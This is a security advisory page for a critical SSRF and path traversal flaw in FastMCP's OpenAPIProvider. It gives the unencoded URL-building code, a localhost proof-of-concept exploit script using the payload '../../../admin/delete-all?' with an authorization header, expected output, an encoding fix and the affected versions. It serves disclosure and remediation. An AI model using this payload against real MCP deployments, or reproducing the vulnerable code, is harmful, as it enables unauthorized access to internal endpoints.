GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

All vulnerabilities
GHSA-vv7q-7jx5-f767critical10.0

FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability

Check your stack

The advisory, in context

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.


Vulnerable Code

File: fastmcp/utilities/openapi/director.py

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Root Cause

  1. Path parameters are substituted directly without URL encoding
  2. urllib.parse.urljoin() interprets ../ as directory traversal
  3. No validation prevents traversal sequences in parameter values
  4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.


Impact Assessment

Severity Justification

  • Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
  • Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
  • Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
  • Data Exfiltration: Sensitive internal APIs can be accessed and exploited
  • Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

  1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
  2. Data Theft: Access internal databases or sensitive information endpoints
  3. Service Disruption: Trigger destructive operations on backend services
  4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

Ecosystem versions

Earlier releases before 3.2.0

Fixed in 3.2.0

91 explicitly affected versions

0.1.0, 0.2.0, 0.3.0, 0.3.1, 0.3.2, 0.3.3, 0.3.4, 0.3.5, 0.4.0, 0.4.1, 1.0, 2.0.0, 2.1.0, 2.1.1, 2.1.2, 2.10.0, 2.10.1, 2.10.2, 2.10.3, 2.10.4, 2.10.5, 2.10.6, 2.11.0, 2.11.1, 2.11.2, 2.11.3, 2.12.0, 2.12.0rc1, 2.12.1, 2.12.2, 2.12.3, 2.12.4, 2.12.5, 2.13.0, 2.13.0.1, 2.13.0.2, 2.13.0rc1, 2.13.0rc2, 2.13.0rc3, 2.13.1, 2.13.2, 2.13.3, 2.14.0, 2.14.1, 2.14.2, 2.14.3, 2.14.4, 2.14.5, 2.14.6, 2.14.7, 2.2.0, 2.2.1, 2.2.10, 2.2.2, 2.2.3, 2.2.4, 2.2.5, 2.2.6, 2.2.7, 2.2.8, 2.2.9, 2.3.0, 2.3.0rc1, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.4.0, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.7.0, 2.7.1, 2.8.0, 2.8.1, 2.9.0, 2.9.1, 2.9.2, 3.0.0, 3.0.0b1, 3.0.0b2, 3.0.0rc1, 3.0.0rc2, 3.0.0rc3, 3.0.1, 3.0.2, 3.1.0, 3.1.1

View affected-version evidence
{
  "ranges": [
    {
      "events": [
        {
          "introduced": "0"
        },
        {
          "fixed": "3.2.0"
        }
      ],
      "type": "ECOSYSTEM"
    }
  ],
  "versions": [
    "0.1.0",
    "0.2.0",
    "0.3.0",
    "0.3.1",
    "0.3.2",
    "0.3.3",
    "0.3.4",
    "0.3.5",
    "0.4.0",
    "0.4.1",
    "1.0",
    "2.0.0",
    "2.1.0",
    "2.1.1",
    "2.1.2",
    "2.10.0",
    "2.10.1",
    "2.10.2",
    "2.10.3",
    "2.10.4",
    "2.10.5",
    "2.10.6",
    "2.11.0",
    "2.11.1",
    "2.11.2",
    "2.11.3",
    "2.12.0",
    "2.12.0rc1",
    "2.12.1",
    "2.12.2",
    "2.12.3",
    "2.12.4",
    "2.12.5",
    "2.13.0",
    "2.13.0.1",
    "2.13.0.2",
    "2.13.0rc1",
    "2.13.0rc2",
    "2.13.0rc3",
    "2.13.1",
    "2.13.2",
    "2.13.3",
    "2.14.0",
    "2.14.1",
    "2.14.2",
    "2.14.3",
    "2.14.4",
    "2.14.5",
    "2.14.6",
    "2.14.7",
    "2.2.0",
    "2.2.1",
    "2.2.10",
    "2.2.2",
    "2.2.3",
    "2.2.4",
    "2.2.5",
    "2.2.6",
    "2.2.7",
    "2.2.8",
    "2.2.9",
    "2.3.0",
    "2.3.0rc1",
    "2.3.1",
    "2.3.2",
    "2.3.3",
    "2.3.4",
    "2.3.5",
    "2.4.0",
    "2.5.0",
    "2.5.1",
    "2.5.2",
    "2.6.0",
    "2.6.1",
    "2.7.0",
    "2.7.1",
    "2.8.0",
    "2.8.1",
    "2.9.0",
    "2.9.1",
    "2.9.2",
    "3.0.0",
    "3.0.0b1",
    "3.0.0b2",
    "3.0.0rc1",
    "3.0.0rc2",
    "3.0.0rc3",
    "3.0.1",
    "3.0.2",
    "3.1.0",
    "3.1.1"
  ]
}

References